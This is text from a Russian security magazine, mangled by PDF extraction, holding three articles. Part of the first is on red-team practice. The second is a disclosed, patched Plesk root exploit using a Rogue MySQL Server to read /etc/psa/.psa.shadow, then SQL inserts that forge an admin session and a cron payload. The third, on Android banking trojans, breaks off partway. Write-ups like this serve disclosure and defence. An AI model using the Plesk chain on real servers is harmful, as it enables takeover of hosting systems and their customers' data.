пос тепен но  про ходит.  Счи талось,  что  крас ные  коман ды  яко бы  нам ного
эффектив нее и дороже пен тестов, а их работа слож нее. Не ведись! Эти про‐ 
цес сы прес леду ют раз ные цели в рам ках одной общей задачи — повыше ния
уров ня защищен ности. Они реша ют раз ные тех ничес кие задачи и, соот ветс‐ 
твен но,  не  вза имо заме няемы.  Нап ротив,  эти  активнос ти  дол жны  на  опре‐ 
делен ных эта пах допол нять друг дру га.

Су щес тву ет  мно го  видов  про цес сов  нас тупатель ной  безопас ности,  и  у
каж дого  свои  задачи.  Здесь  и  Vulnerability  Assessment,  и  Penetration  Testing,
и Red Teaming. Чаще все го их отли чия зак люча ются в ско упе,  глу бине прод‐ 
вижения  в  про цес се  ана лиза  защищен ности  и  показа телях,  которые  будут
исполь зовать ся Blue Team для выработ ки защит ных мер.

Ви ды нас тупатель ных мероп риятий и их ско уп (источник — Threatexpress)

Vulnerability Assessment про водит ся для оцен ки повер хнос ти ата ки и зачас тую
неп лохо  выпол няет ся  внут ренни ми  под разде лени ями  (in‐house),  нап ример
силами Blue Team. В качес тве при мера катего рии таких работ мож но при вес‐ 
ти  инс тру мен таль ное  ска ниро вание  на  уяз вимос ти  с  пос леду ющей  руч ной
верифи каци ей обна ружен ных проб лем.

При этом для точ ной оцен ки рис ков информа ции об уяз вимос тях ока зыва‐ 
ется недос таточ но, так как боль шое зна чение име ет кон текст, в которых эти
уяз вимос ти находят ся. Нап ример, уяз вимость на рабочей стан ции сот рудни ка
HR‐депар тамен та может при вес ти к утеч ке нес коль ких фай лов с зар пла тами
сот рудни ков, в то вре мя как эта же уяз вимость на рабочей стан ции рядово го
сис темно го  адми нис тра тора  может  при вес ти  к  ком про мета ции  домен ного
кон трол лера,  с  пос леду ющей  уста нов кой  бэк доров  и  воз можностью  неп‐ 
рерыв ной кра жи важ ной для биз неса информа ции.

Воп росы, на которые дает отве ты Vulnerability Assessment
Ка кие уяз вимос ти и в каком количес тве содер жит моя инфраструк тура?•
Что тре бует немед ленно го исправ ления (какой при ори тет у обна ружен ных
проб лем)?

•

Penetration Testing час то идет сра зу пос ле успешно внед ренно го про цес са VA
и может вклю чать его в себя как часть работ. Повер хность ата ки, получен ная
на  пре дыду щем  эта пе,  исполь зует ся  для  выяв ления  и  про вер ки  воз можных
сце нари ев. Соот ветс твен но, эта информа ция исполь зует ся для более точ ной
оцен ки биз нес‐рис ков.

В  боль шинс тве  слу чаев  на  прак тике  пен тесты  исполь зуют ся  для  ана лиза
защищен ности тех ничес кой инфраструк туры и реже — для оцен ки орга низа‐ 
цион ных про цес сов (так называ емые соци отех ничес кие тес ты). Как пра вило,
этот тип про верок огра ничен во вре мени (ежек варталь ные пен тесты для com‐
pliance, пен тесты перед ауди тами и подоб ное) и раз работан для реали зации
кон крет ной задачи — это могут быть зак репле ние в кор поратив ной сети, кра‐ 
жа опре делен ной информа ции, ком про мета ция кон крет ных сот рудни ков и так
далее. В резуль тате пен тест демонс три рует  кон крет ные проб лемы,  которые
могут и не дать общей кар тины эффектив ности про цес сов ИБ в ком пании.

Воп росы, на которые дает отве ты Penetration Testing
Воз можен ли дос туп  к моей инфраструк туре  (моим дан ным)? Если да,  то
каким спо собом?

•

Нас коль ко эффектив но спра вит ся с про вер кой моя служ ба ИБ?•
Го тов ли я к ком плексно му ауди ту ИБ?•

При  про веде нии  пен теста  биз несу  важ но  понимать,  нас коль ко  про цес сы
защиты  эффектив ны  в  дан ный  момент  и  нас коль ко  хороши  те  или  иные
защит ные меры. Но пос коль ку пен тесты огра ниче ны и во вре мени, и по ско‐ 
упу, они не поз воля ют получить пол ную кар тину.

Red  Teaming  же  —  это  неп рерыв ный  про цесс  симуля ции  атак  с  целью
оцен ки  всех  сущес тву ющих  про цес сов  защиты  орга низа ции  и  повыше ния
осве дом леннос ти  задей ство ван ных  в  этом  про цес се  лиц.  Это  опре деле ние
зву чит ака деми чес ки, но зато исчерпы вающе.

Крас ная  коман да  сво бод на  в  выборе  так тик,  тех ник  и  про цедур  (tactics,
techniques, and procedures, час то сок раща ют как TTP) для реали зации сво их
целей.

Мо жешь пос мотреть неболь шой докумен таль ный фильм изда ния Tech  In‐
sider о Red Team, что бы понять, как выг лядит рабочий про цесс экспер та крас‐ 
ной коман ды.

Воп росы, на которые дает ответ Red Teaming
Нас коль ко эффектив ны сущес тву ющие защит ные меры, вклю чая VA и пен‐ 
тесты?

•

Что  дол жна  делать  Blue  Team  для  повыше ния  сво ей  эффектив ности
и уров ня защищен ности?

•

RED TEAM: ЗАДАЧИ
Итак, крас ная коман да ими тиру ет дей ствия зло умыш ленни ка, что бы повысить
уро вень  защищен ности  инфраструк туры.  Вот  задачи,  которые  она  дол жна
решать, что бы дос тигать сво их целей:

по выше ние уров ня осве дом леннос ти Blue Team за счет неп рерыв ных нас‐ 
тупатель ных мероп риятий;

•

про вер ка  эффектив ности  сущес тву ющих  про цес сов  и  средств  информа‐ 
цион ной безопас ности;

•

раз работ ка и раз витие набора инс тру мен тов (фрей мвор ка) для улуч шения
воз можнос тей  выяв ления,  прог нозиро вания  угроз  и  орга низа ции  сце‐ 
нари ев реаги рова ния на появ ляющиеся угро зы.

•

По нят но,  что  решения  этих  задач  не  добить ся,  если  не  кон цен три ровать ся
на безопас ности и не под ходить ответс твен но  к реали зации всех про верок.
А зна чит, для крас ной коман ды недопус тимо наруше ние трех пос тулатов ИБ:
кон фиден циаль нос ти,  целос ти  и  дос тупнос ти  всех  про веря емых  ресур сов
(толь ко если это «наруше ние» заведо мо не будет частью про вер ки).

RED TEAM: КЛЮЧЕВЫЕ ПОКАЗАТЕЛИ ЭФФЕКТИВНОСТИ
Мы разоб рались с высоко уров невыми и биз нес‐задача ми Red Team. Теперь
пог ружа емся  непос редс твен но  в  осо бен ности  фун кци они рова ния  крас ной
коман ды.

Фор мулиров ка  низ коуров невых  (тех ничес ких)  целей  для  коман ды  может
раз личать ся в зависи мос ти от  харак терис тик биз неса. Раз мер орга низа ции,
виды  ее  акти вов,  осо бен ности  внут ренней  струк туры  служ бы  безопас ности,
бюд жет на ИБ — все это вли яет на фор мулиров ку. Нап ример, перед коман‐ 
дой могут сто ять сле дующие задачи:

зак репле ние в домене с пос леду ющей демонс тра цией дос тупа;•
ком про мета ция основных сис тем (нап ример, внут ренне го сер вера Git, баз
дан ных);

•

ком про мета ция  име ющих ся  сис тем  защиты  (получе ние  адми нис тра тив‐ 
ного дос тупа к панели управле ния, изме нение кон фигура цион ных фай лов
и так далее);

•

по луче ние  дос тупа  с  пос леду ющим  зак репле нием  на  рабочих  стан циях
топ‐менед жеров.

•

Все пос тавлен ные цели так или ина че сво дят ся к реали зации Attack Kill Chain.
О  жиз ненном  цик ле  ата ки  я  уже  рас ска зывал  в  сво ей 
в  кон тек сте  тар гетиро ван ных  атак.  Имен но  эти  ста дии  исполь зуют ся  в  ходе
работ Red Team как «дорож ная кар та» для прод вижения к цели.

пре дыду щей  колон ке

Жиз ненный цикл тар гетиро ван ной ата ки (Attack Kill Chain) и road map
для крас ной коман ды

Сре ди мно гооб разия иллюс тра ций Kill Chain наибо лее при год на для исполь‐ 
зования  экспер тами  Red  Team  мат рица  ,  которая  содер жит
в себе акту аль ный набор TTP ата кующих.

MITRE  ATT&CK

Мат рица MITRE ATT&CK

Опи сан ные в этом докумен те TTP понят ны не толь ко коман де ата кующих, они
могут исполь зовать ся и Blue Team. Нап ример, сов ремен ные «отче ты об угро‐ 
зах»,  которые  Blue  Team  получа ет  в  рам ках  услуг  Threat  Intelligence,  час то
содер жат  не  толь ко  тех ничес кие  осо бен ности  работы  вре донос ного  кода,
но  и  TTP,  которые  APT‐груп пы  исполь зуют  для  его  дос тавки  и  прод вижения
к цели.

По луча ется,  что  эта  мат рица  может  стать  сво еоб разным  сло варем
для обще ния крас ной и синей команд.

УПРАВЛЕНИЕ КОМАНДОЙ И ДОСТАВКА РЕЗУЛЬТАТОВ
Ес ли бы задача Red Team зак лючалась исклю читель но в ком про мета ции сети,
то про цесс выг лядел бы при мер но так: лидер коман ды сог ласу ет низ коуров‐ 
невые  цели,  затем  ухо дит  куда‐то  на  нес коль ко  месяцев  и  воз вра щает ся
с отче том «Мы вас полома ли вот таким вот обра зом». К счастью, это не так.

Тим лид (менед жер коман ды) фик сиру ет клю чевые цели — так называ емые
crown  jewels  —  королев ские  брил лиан ты,  ну  или  «фла ги»  в  тер минах  CTF.
Затем он,  исхо дя  из  этих  целей,  пла ниру ет  деталь ную дорож ную  кар ту  про‐ 
екта, осо бен ностей объ екта ата ки и ресур сов коман ды. Ниже при мер дорож‐ 
ной кар ты крас ной коман ды фран цуз ско го CERT.

При мер дорож ной кар ты про екта для Red Team

Как  видишь,  про ект  делит ся  на  ста дии  атак  с  уче том  при мер ных  сро ков
реали зации  каж дой  из  них,  отме чены  клю чевые  эта пы  (milestones).  На  тех
или иных клю чевых эта пах тим лид дол жен давать обратную связь всем заин‐ 
тересо ван ным  сто ронам  (в  пер вую  оче редь  Blue  Team)  и  сооб щать
об успешнос ти выпол нения эта па и готов ности перехо дить на сле дующий.

Так же тим лид может демонс три ровать про межу точ ные резуль таты в виде
неболь ших  отче тов  на  каж дой  ста дии.  К  при меру,  при  завер шении  эта па
«дос тавка  полез ной  наг рузки»  (delivery)  Red  Team может  отра ботать  век тор
spear‐phishing  и  отпра вить  пей лоад  (имплант)  сот рудни кам  орга низа ции
в  виде  вло жения  в  фишин говое  пись мо.  По  резуль татам  дос тавки  тим лид
готовит отчет о ста тис тике откры тия писем с перечис лени ем кон крет ных лиц,
запус тивших имплант, а так же прик ладыва ет при мер фишин гового пись ма.

Эти резуль таты Blue Team может исполь зовать для повыше ния осве дом‐ 
леннос ти  сот рудни ков,  запус тивших  имплант,  для  тон кой  нас трой ки
спам‐филь тров и ком понен тов анти фишин га.

ВЫВОДЫ
Про ект Red Team — это прак тичес ки стар тап внут ри орга низа ции. Или даже
стар тап  вне  орга низа ции,  который  может  обслу живать  нес коль ко  круп ных
ком паний в парал лель ном режиме.

В этом матери але мы рас смот рели цели и задачи крас ной коман ды, изу‐ 
чили  клю чевые  осо бен ности  ее  работы.  Наде юсь,  ты  все  же  понял  глав ную
мысль:  нас тупатель ная  безопас ность  может  быть  исполь зована  не  толь ко
как инс тру мент, поз воля ющий доказать всем, что «все пло хо», а  как инс тру‐ 
мент, который в неп рерыв ном режиме повыша ет безопас ность биз неса.

Да, не каж дая орга низа ция готова к внед рению про цес сов Red Teaming —
для это го дол жны быть зре лыми опре делен ные про цес сы ИБ. Но ког да ком‐ 
пания ста новит ся готова к соз данию сво ей крас ной коман ды, она при нима ет
ту «филосо фию», которую прек расно опи сал Сунь‐Цзы: «Дер жи дру зей близ‐ 
ко к себе, а вра гов еще бли же».

mailto:condifesa@gmail.com
https://xakep.ru/2017/11/15/apt-ed-1/
https://www.youtube.com/watch?v=pL9q2lOZ1Fw
https://xakep.ru/2017/11/15/apt-ed-1/
https://attack.mitre.org/
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ВЗЛОМ

Рут  на  shared‐хос тинге  —  не  обя затель но  пуб личная  уяз‐ 
вимость  в  ядре  Linux.  В  этой  статье  будет  разоб рана  уяз‐ 
вимость  в  популяр ной  хос тинг‐панели  Plesk,  поз воля ющая
повысить  при виле гии  на  хос тинго вом  сер вере  и  получить
дос туп ко всем соседям.

Что бы  пре дос тавлять  услу ги  хос тинга  сай тов,  в  наше  вре мя  недос таточ но
веб‐сер вера  и  акка унта  на  FTP. Сущес тву ет  нес коль ко  популяр ных  панелей,
которые  поз воля ют  без  труд ностей  раз вернуть  и  под держи вать  сайт  даже
неопыт ному поль зовате лю. Там есть фай ловый менед жер,  тек сто вый редак‐ 
тор, интерфейс для управле ния базами дан ных, выбор вер сии PHP и все, что
может понадо бить ся поль зовате лю хос тинга.

Од на из таких панелей — Plesk. Эта панель исполь зует ся хос тинг‐про вай‐ 
дерами по все му миру, вклю чая таких гиган тов, как GoDaddy. Взлом хос тинга
может обер нуть ся серь езны ми пос ледс тви ями — нап ример, известен слу чай,
ког да  зло умыш ленни ки  ,  зашиф ровали  все  дан ные  и  тре‐ 
бова ли за них мил лион дол ларов.

взло мали  хос тера

Уяз вимость, о которой я хочу рас ска зать, — это чте ние фай лов с повышен‐ 
ными при виле гиями с помощью ата ки  . Она в ито ге обер‐ 
нулась эска лаци ей при виле гий.

Rogue MySQL Server

СТЕНД
Итак,  самое  вре мя  надеть  белую  шля пу  и  прис тупать  к  ресер чу.  Основная
часть  Plesk  написа на  на  PHP.  Plesk  быва ет  под Windows  Server  и  Linux,  нас
инте ресу ет пос ледний. Для стен да про ще все го исполь зовать локаль ную вир‐ 
туал ку или VPS c Ubuntu 16.04 на бор ту. Для начала заг ружа ем инстал лятор
и даем пра ва на исполне ние.

$ wget 'http://installer.plesk.com/plesk‐installer'
$ chmod +x plesk‐installer

По мимо при выч ной тебе сис темы обновле ний через вер сии, в Plesk име ется
еще  и  такая  вещь,  как  мик роап дей ты  (Micro‐Updates).  Это,  по  сути,  пат чи
к исходни кам на PHP, при накаты вании которых вер сия панели оста ется неиз‐ 
менной.  Уяз вимость,  о  которой  мы  погово рим,  была  устра нена  с  помощью
такого  апдей та,  поэто му  инстал лер  нуж но  запус кать  с  фла гом  ,
и тог да фикс, зак рыва ющий уяз вимость, не при менит ся.

skip‐patch

$ sudo ./plesk‐installer ‐‐skip‐patch

Да лее  в  инте рак тивном  меню  нуж но  под твер дить  уста нов ку,  выб рать
рекомен дуемые  парамет ры,  и  мож но  спо кой но  попивать  кофе,  пока  все
сетапит ся. Пос ле  того  как все  уста нови лось,  в  кон соль будет выведен линк,
прой дя по которо му ты смо жешь соз дать учет ку адми на. Там же мож но акти‐ 
виро вать пят надца тид невный три ал, которо го впол не хва тает для наших 

 иссле дова тель ских дел.
тем‐ 

ных
Plesk  име ет  хороший  CLI‐API,  которым  мы  и  вос поль зуем ся,  что бы

не возить ся с вебом. В луч ших тра дици ях Unix нас тро им все, не покидая тер‐ 
минала.

Для  начала  соз дадим  поль зовате ля  с  минималь ными  при виле гиями
и добавим ему домен.

$ PLSK_SITE_IP=$(sudo plesk bin ipmanage ‐l | grep ‐o '[0‐9]\{1,
3\}\.[0‐9]\{1,3\}\.[0‐9]\{1,3\}\.[0‐9]\{1,3\}' | head ‐n 1)
$ sudo plesk bin customer ‐‐create researcher ‐name "russian bear" 
‐passwd "SamPle123!" ‐notify false
$ sudo plesk bin subscription ‐c example.com ‐owner researcher 
‐service‐plan "Default Domain" ‐ip $PLSK_SITE_IP ‐login researcher 
‐passwd "SamPle123!"

Еще нам понадо бит ся база дан ных. Соз дадим MySQL юзе ра и базу.

$ sudo plesk bin database ‐‐create testdb ‐domain example.com ‐type 
mysql
$ sudo plesk bin database ‐‐create‐dbuser testuser ‐passwd "SamPle
123!" ‐domain example.com ‐server localhost:3306 ‐database testdb

Тес товый  стенд  готов.  Залоги нить ся  в  панель  от  соз данно го  юзе ра 
  мож но  по  адре су  .  Получен ный  нами

минималь ный набор фун кций будет дос тупен на любом хос тинге с Plesk.

re‐
searcher https://{YOUR_IP}:8443/

АНАЛИЗ УЯЗВИМОСТИ
Ин терес  пред став ляют  фун кции  управле ния  базами  дан ных.  Plesk  име ет
любопыт ную  фичу,  которая  поз воля ет  копиро вать  базы  дан ных  не  толь ко
локаль но, но и на внеш ние хос ты. Имен но здесь кро ется уяз вимость.

plib/DatabaseManagerMySQL.php

...
private function _mysql_connect($host, $port, $login, $password, 
$dbname = null)
{
   $connection = @new mysqli($host, $login, $password, $dbname, 
$port);
   if (!$connection || mysqli_connect_errno()) {
       throw new PleskUserDBException(
           mysqli_connect_error(), mysqli_connect_errno(),
           'mysql', $this‐>getErrorType(mysqli_connect_errno())
       );
   }
   return $connection;
}
...

Что бы получить исходни ки панели, приш лось здо рово порабо тать над деоб‐ 
фуска цией, но об этом как‐нибудь в дру гой раз. При копиро вании базы дан‐ 
ных на внеш ний хост при ложе ние исполь зовало стан дар тный для PHP кли ент
mysqlnd, где по умол чанию опция   рав на еди нице, и это как раз
и откры вает дорогу к соз данию читал ки фай лов.

local_infile

Что бы  про экс плу ати ровать  уяз вимость,  спер ва  нуж но  раз вернуть 
. Далее идем в Databases → Copy и копиру ем базу в наш Rogue

MySQL сер вер.

Rogue
MySQL Server

Пос ле  чего  получа ем  ука зан ный  файл.  На  этом  ана лиз  мож но  завер шать
и прис тупать к сле дующей час ти.

ПОВЫШАЕМ ПРИВИЛЕГИИ
Об наружить уяз вимость — это все го пол дела, ведь ее еще нуж но суметь про‐ 
экс плу ати ровать. Про читать passwd, имея хос тинго вый акка унт, мож но с лег‐ 
костью и без перечис ленных выше манипу ляций.

Сна чала  нуж но  выяс нить,  с  какими  при виле гиями  работа ет  читал ка фай‐ 
лов.  Здесь  нам  поможет  псев дофай ловая  сис тема  ,  а  имен но  чте ние
фай ла  , в котором содер жится мно го полез ной информа‐ 
ции о текущем про цес се.

/proc
/proc/self/status

В  этом фай ле  есть  уни каль ный  ID  сис темно го  юзе ра —  UID.  Теперь,  что бы
узнать поль зовате ля, от име ни которо го мы можем читать фай лы, дос таточ но
открыть passwd и най ти там соот ветс тву ющую запись с нуж ным UID. В моем
слу чае UID 999 — это юзер psaadm, от име ни которо го работа ет панель.

На  ум  сра зу  при ходит  читать  кон фигура цион ные фай лы. Ведь  дол жна же
панель  отку да‐то  брать  кре ды  к  такому  боль шому  количес тву  сер висов.
Полис тав кон фиги, я задал ся воп росом — а отку да, собс твен но, панель берет
информа цию для дос тупа к MySQL? Ока залось, что суперъ юзер базы дан ных
име ет логин admin, а пароль к нему лежит в фай ле /etc/psa/.psa.shadow.

$ ls ‐l /etc/psa/.psa.shadow
‐rw‐‐‐‐‐‐‐ 1 psaadm psaadm 62 Apr 22 19:14 /etc/psa/.psa.shadow

Как  видим,  этот  файл  дос тупен  на  чте ние  и  запись  толь ко  юзе ру  psaadm.
Чита ем  его  с  помощью  Rogue  MySQL  и  получа ем  рутовый  дос туп  к  БД.
На  этом  эта пе  мы  видим  все  базы,  что  уже  дает  мас су  воз можнос тей
для  даль нейших  атак  на  соседей.  Но  нам  инте ресен  рут  на  всем  сер вере,
поэто му дви гаем ся даль ше.

Для сво их нужд Plesk тоже исполь зует базу дан ных с име нем psa на этом же
сер вере MySQL. Бег ло осмотрев базу, я зап риметил таб лицы sessions и Ses‐
sionContexts.  Туда пишут ся  все сес сии  залоги нен ных юзе ров.  Ты,  навер ное,
ска жешь:  «Инсерть  ско рее  же  сес сию  адми на,  и  дело  в  шля пе!»  Одна ко,
как ты можешь заметить, помимо логина и session ID, панель пишет еще мно‐ 
го  уни каль ных  сери али зован ных  дан ных,  которые  не  всег да  мож но  прос то
ско пипас тить.  Давай  раз берем ся,  что  про исхо дит  в  базе  на момент  логина
юзе ра admin.

Для это го вклю чим логиро вание зап росов в файл.

$ sudo touch /var/log/mq_query && sudo chown mysql:mysql /var/log/
mq_query
$ sudo plesk db "SET GLOBAL general_log_file = '/var/log/mq_query'"
$ sudo plesk db "SET GLOBAL general_log = 'ON'"

Ло гиним ся от адми на в Plesk и смот рим зап росы с  .INSERT

$ cat /var/log/mq_query 
...
2019‐04‐25T11:58:17.627569Z 46870 Query INSERT INTO `sessions` (`
sess_id`, `type`, `login`, `ip_address`, `login_time`, `modified`, `
lifetime`) VALUES ('057780ebb02bb81977adccf2dc481a79', '1', 'admin', 
'87.76.241.179', '1556193497', '1556193497', '1800')
2019‐04‐25T11:58:17.632226Z 46870 Query INSERT INTO `SessionContexts`
(`contextId`, `sessionId`, `data`) VALUES ('057780ebb02bb81977adccf2

dc481a79', '057780ebb02bb81977adccf2dc481a79', 'a:2:{s:4:\"auth\";a:
1:{s:4:\"type\";i:1;}s:5:\"panel\";a:1:{s:22:\"forgeryProtecti
onToken\";s:32:\"7292742a7d286591eddb828c314f25b4\";}}')
...

Итак, что бы получить сес сию адми на, нуж но заг рузить на хос тинго вый акка унт
скрипт  на  PHP,  который  под клю чит ся  к  БД  от  име ни  поль зовате ля  admin
и выпол нит два прос тых инсерта.

INSERT INTO `sessions` (`sess_id`, `type`, `login`, `ip_address`, 
`login_time`, `modified`, `lifetime`) VALUES ('057780ebb02bb81
977adccf2dc481a79', '1', 'admin', '<YOUR_IP>', NOW(), NOW(), '1800');
INSERT INTO `SessionContexts` (`contextId`, `sessionId`, `data`) 
VALUES ('057780ebb02bb81977adccf2dc481a79', '057780ebb02bb81977adccf2
dc481a79', 'a:2:{s:4:\"auth\";a:1:{s:4:\"type\";i:1;}s:5:\"panel\";a:
1:{s:22:\"forgeryProtectionToken\";s:32:\"7292742a7d286591eddb828c
314f25b4\";}}');

Под став ляй  ново испе чен ную  сес сию  себе  в  куки,  и  вуаля,  ты  админ.  А  для
того, что бы выпол нить любую коман ду от рута, дос таточ но зай ти в пла ниров‐ 
щик задач и записать в крон нуж ный пей лоад.

Под ведем ито ги. Что бы заполу чить рут на хос тинго вом сер вере с панелью
Plesk, нуж но сде лать сле дующее.
1. С  помощью  Rogue  MySQL  Server  про читать  пароль  от  рутово го  юзе ра
базы дан ных в фай ле  ./etc/psa/.psa.shadow

2. Заг рузить скрипт на PHP, с помощью которо го мож но будет под клю чить ся
к базе дан ных от рут‐поль зовате ля.

3. За писать сес сию адми на и под ста вить ее в cookies бра узе ра.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Преж де все го хочу отме тить опе ратив ную и сла жен ную работу безопас ников
Plesk.  Пос ле  того  как  я  им  отпра вил  репорт,  уяз вимость  быс тро  устра нили
в сле дующих вер сиях:

17.8.11 MU#34 от 10 декаб ря 2018 года;•
17.5.3 MU#63 от 10 декаб ря 2018 года;•
17.0.17 MU#61 от 17 декаб ря 2018 года;•
12.5.30 MU#78 от 10 декаб ря 2018 года;•
12.0.18 MU#104 от 24 декаб ря 2018 года.•

На  сегод няшний день боль шая  часть  кли ентов MySQL  уяз вимы,  и  устра нять
век тор Rogue MySQL Server пока ник то не торопит ся. Так что, похоже, такие
уяз вимос ти будут всплы вать еще дол го. Что бы обе зопа сить себя от подоб ных
проб лем, сто ит ввес ти прос тое пра вило: если твое при ложе ние кон нектит ся
к хос ту, который не localhost, — убе дись, что опция   рав на нулю.local‐infile

mailto:mustang@reg.ru
https://xakep.ru/2017/06/20/nayana-ransom/
https://xakep.ru/2016/06/01/load-data-local-infile/
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
https://vimeo.com/336494249


КАРМАННЫЕ
ТРОЯНЫ

КАК РАБОТАЮТ
МОБИЛЬНЫЕ БАНКЕРЫ

Валентин Холмогоров
valentin@holmogorov.ru

ВЗЛОМ

Од ним сол нечным апрель ским утром мой зав трак был прер‐ 
ван  телефон ным  звон ком  при яте ля  —  пред при нима теля,
занимав шегося  гру зовы ми  перевоз ками.  Сры вающим ся
голосом он рас ска зал,  что  с его бан ков ско го  сче та  куда‐то
испа рились два мил лиона руб лей. А служ ба под дер жки бан‐ 
ка  раз вела  руками,  отпра вив  при яте ля  писать  заяв ление
в полицию, пос коль ку денеж ные перево ды были совер шены
с  помощью  мобиль ного  при ложе ния  и  под твержде ны
по  SMS,  что  по  всем  приз накам  соот ветс тву ет  впол не
легаль ной финан совой опе рации.

«Тыж прог раммист,  —  прос тонал  в  труб ку  мой  при ятель,  —  посове туй,  что
делать». Увы, что‐либо делать было уже поз дно, ибо инс тру мен том для кра жи
пос лужил бан ков ский тро ян, обос новав ший ся на смар тфо не моего товари ща
задол го до это го досад ного инци ден та. И пре дот вра тить потерю денег было
мож но,  лишь  заранее  изу чив  прин ципы  работы  и  методы  борь бы  с  такими
вре донос ными прог рамма ми. Чем мы пря мо сей час и зай мем ся.

ОЧЕНЬ ДАВНО, В ОДНОМ ОБЫЧНОМ АНДРОИДЕ…
Пер вые пол ноцен ные бан ков ские тро яны для мобиль ной плат формы Android
были обна руже ны еще в 2011  году. Нет,  вре доно сы, спо соб ные переда вать
зло умыш ленни кам  вхо дящие  SMS‐сооб щения,  в  том  чис ле  содер жащие
mTAN‐коды  (коды  аутен тифика ции  тран закций),  сущес тво вали  и  до  это го.
Кро ме того, были извес тны тро яны, уме ющие опе риро вать USSD‐коман дами.
Они мог ли перевес ти задан ную зло деями сум му с «при вязан ной» к телефо ну
бан ков ской кар ты, попол нив баланс левого мобиль ного телефо на, или узнать
оста ток средств на сче те. Но пол ноцен ными бан керами такие трои, конеч но
же, не были, пос коль ку замет но усту пали по фун кци ональ ным воз можнос тям
сво им дес ктоп ным ана логам.

Все изме нилось с появ лени ем Android.SpyEye. Этот трой работал в связ ке
с вре доно сом SpyEye для Windows, бла года ря чему обрел спо соб ность обхо‐ 
дить двух фактор ную аутен тифика цию. Дей ство вал он сле дующим обра зом.

Как толь ко поль зователь заражен ной вин ды откры вал в бра узе ре бан ков‐ 
ский  сайт,  работа ющий  на  ком пе  трой  выпол нял  веб‐инжект,  встра ивая
в  стра ницу  кусок  HTML‐кода,  который  он  под гру жал  из  кон фига.  Пос коль ку
инжект  осу щест влял ся  на  сто роне  кли ента,  URL  бан ков ско го  сай та
в  адресной  стро ке  бра узе ра  ока зывал ся  кор рек тным,  а  соеди нение  было
уста нов лено  по  про токо лу  HTTPS.  Поэто му  содер жимое  веб‐стра ницы
не вызыва ло у жер твы никаких подоз рений.

Текст, встро енный тро яном в бан ков ский сайт, гла сил, что банк вне зап но
изме нил  усло вия  работы  и  для  авто риза ции  в  сис теме  банк‐кли ент  необ‐ 
ходимо уста новить на мобиль ный телефон неболь шое при ложе ние раз мером
око ло  30  Кбайт,  ска чав  его  по  пред ложен ной  ссыл ке —  «в  целях  безопас‐ 
ности». При ложе нием, естес твен но, был мобиль ный трой Android.SpyEye.

Эта  вре донос ная  прог рамма  не  соз давала  никаких  знач ков,  ее  мож но
было отыс кать толь ко в спис ке работа ющих про цес сов под наз вани ем «Сис‐ 
тема».  Основная  задача  троя  —  перех ват  всех  вхо дящих  SMS‐сооб щений
и  пересыл ка  их  на  управля ющий  сер вер,  адрес  которо го  вре донос  брал
из XML‐кон фига.

Так выг лядел один из пер вых мобиль ных бан ков ских тро янов —
Android.SpyEye

Ког да жер тва  вво дит  логин и  пароль на бан ков ском сай те  в  окне бра узе ра,
Windows‐тро ян SpyEye перех ватыва ет и отправ ляет их ботово дам. Пос ле это‐ 
го  зло умыш ленни ки  в  любой момент могут  авто ризо вать ся  с  помощью  этих
дан ных  в  сис теме  банк‐кли ент  на  сай те  бан ка,  одна ко  сер вер  обя затель но
отпра вит  вла дель цу  сче та  про вероч ный  код  в  SMS,  который  нуж но  ввес ти
в  спе циаль ную  фор му.  Это  сооб щение  будет  перех вачено  мобиль ной  вер‐ 
сией  SpyEye  и  переда но  вирусо писа телям.  Исполь зуя  перех ват  SMS,  они
смо гут выпол нять любые опе рации по сче ту, нап ример опус тошить его под‐ 
чистую.

При мер но так выг лядит схе ма работы пер вого мобиль ного бан ков ско го
тро яна SpyEye

Уз ким  мес том  этой  доволь но  слож ной  схе мы  была  необ ходимость  син хро‐ 
низа ции  работы бан ков ско го  и  дес ктоп ного  ком понен тов  тро янской  связ ки,
одна ко ука зан ную проб лему вирусо писа телям уда лось успешно решить. Нес‐ 
коль ко месяцев SpyEye наводил шорох сре ди поль зовате лей бан ков ских сер‐ 
висов,  пока  не  попал  в  базы  всех  популяр ных  анти виру сов,  пос ле  чего  его
деятель ность пос тепен но сош ла на нет.

МОБИЛЬНЫЕ БАНКЕРЫ
Спус тя  какое‐то  вре мя  сот рудни ки  IT‐отде лов  бан ков  понем ногу  осво или
веб‐прог рамми рова ние,  и  банк‐кли енты  окон чатель но  переко чева ли  с  дес‐ 
кто пов в мобиль ные телефо ны в виде Android‐при ложе ний. Это зна читель но
облегчи ло  жизнь  вирусо писа телям:  у  них  отпа ла  необ ходимость  замора‐ 
чивать ся с тро яна ми под вин ду, и они смог ли наконец пол ностью сос редото‐ 
чить свои уси лия на раз работ ке мобиль ных бан керов. Ведь вла делец Android‐
смар тфо на  с  бан ков ским  при ложе нием  на  бор ту  —  это  ходячий  кошелек,
опус тошить который меч тает каж дый ува жающий себя вир мей кер.

Как  и  про чие  вре доно сы  для  Android,  бан керы  рас простра нялись
под видом каких‐либо полез ных прог рамм — «уни вер саль ных виде око деков»
или  про игры вате лей  Flash,  в  том  чис ле  через  офи циаль ный  каталог  Google
Play.  Тро янская  фун кци ональ ность  таких  при ложе ний,  естес твен но,  не  афи‐ 
широ валась раз работ чиками, и про явля лась она либо спус тя какое‐то вре мя,
либо пос ле заг рузки оче ред ного обновле ния. Так, в одном из слу чаев бан кер
раз давал ся  в  виде  прог раммы,  яко бы  объ еди няющей  в  себе  воз можнос ти
банк‐кли ентов сра зу нес коль ких круп ных кре дит ных орга низа ций. Зачем вам
куча  отдель ных  при ложе ний,  ког да  вмес то  них  мож но  ска чать  одно,  с  тро‐ 
яном?  Так же  извес тны  слу чаи,  ког да  вре доно сы  встра ива лись  в  под линные
при ложе ния  некото рых  бан ков,  модифи циро ван ные  зло умыш ленни ками.
Такие  при ложе ния  рас простра нялись  с  под дель ных  бан ков ских  стра ниц,
офор млен ных в точ ности как нас тоящие, а жертв на них зав лекали рас сылка‐ 
ми фишин говых писем.

Еще  один  век тор  рас простра нения  мобиль ных  бан ков ских  тро янов  —
фишин говые  SMS‐рас сылки.  Обыч но  это  про исхо дит  так.  Поль зовате лю,
зарегис три рован ному на одном из сай тов бес плат ных объ явле ний, при ходит
SMS‐сооб щение  с  пред ложени ем  обме на.  При  этом  получа теля  называ ют
по  име ни,  что  дол жно  усы пить  его  бди тель ность,  —  вирусо писа тели  пред‐ 
варитель но рас парси ли базу поль зовате лей это го сай та, вытянув отту да всю
